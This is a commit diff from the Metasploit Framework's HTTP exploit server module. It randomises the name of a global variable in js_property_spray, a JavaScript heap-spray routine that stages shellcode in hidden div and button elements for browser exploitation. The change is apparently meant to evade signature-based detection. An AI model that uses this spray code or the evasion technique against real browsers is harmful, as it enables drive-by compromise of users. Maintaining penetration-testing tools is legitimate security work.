Randomize the "div_container" var because it's global

It's best to randomize this variable name because it's global.

Author: sinn3r

lib/msf/core/exploit/http/server.rb

@@ -813,8 +813,9 @@ def js_base64
 	#   </script>
 	#
 	def js_property_spray
+		sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5)
 		js = %Q|
-		var div_container;
+		var #{sym_div_container};
 		function sprayHeap( oArg ) {
 
 			shellcode     = oArg.shellcode;
@@ -830,13 +831,13 @@ def js_property_spray
 
 			if (offset > 0x800) { throw "Bad alignment"; }
 
-			div_container = document.getElementById(objId);
+			#{sym_div_container} = document.getElementById(objId);
 
-			if (div_container == null) {
-				div_container = document.createElement("div");
+			if (#{sym_div_container} == null) {
+				#{sym_div_container} = document.createElement("div");
 			}
 
-			div_container.style.cssText = "display:none";
+			#{sym_div_container}.style.cssText = "display:none";
 			var data;
 			junk = unescape("%u2020%u2020");
 			while (junk.length < offset+0x1000) junk += junk;
@@ -850,7 +851,7 @@ def js_property_spray
 			{
 				var obj = document.createElement("button");
 				obj.title = data.substring(0, (heapBlockSize-2)/2);
-				div_container.appendChild(obj);
+				#{sym_div_container}.appendChild(obj);
 			}
 		}
 		|